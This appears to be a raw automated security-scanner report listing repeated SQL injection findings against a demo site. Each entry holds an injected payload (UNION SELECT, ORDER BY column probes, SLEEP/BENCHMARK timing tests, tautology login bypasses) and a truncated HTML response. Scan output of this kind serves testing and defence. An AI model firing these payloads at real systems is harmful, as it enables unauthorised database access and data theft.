iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1895
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1896
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1897
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1898
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1899
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# WHERE 1=1 AND 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1900
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1901
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# pg_SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1902
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin") or ("1"="1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1903
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1904
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(
88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1905Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1906
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1907
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '*'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1908
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1909
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 12--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
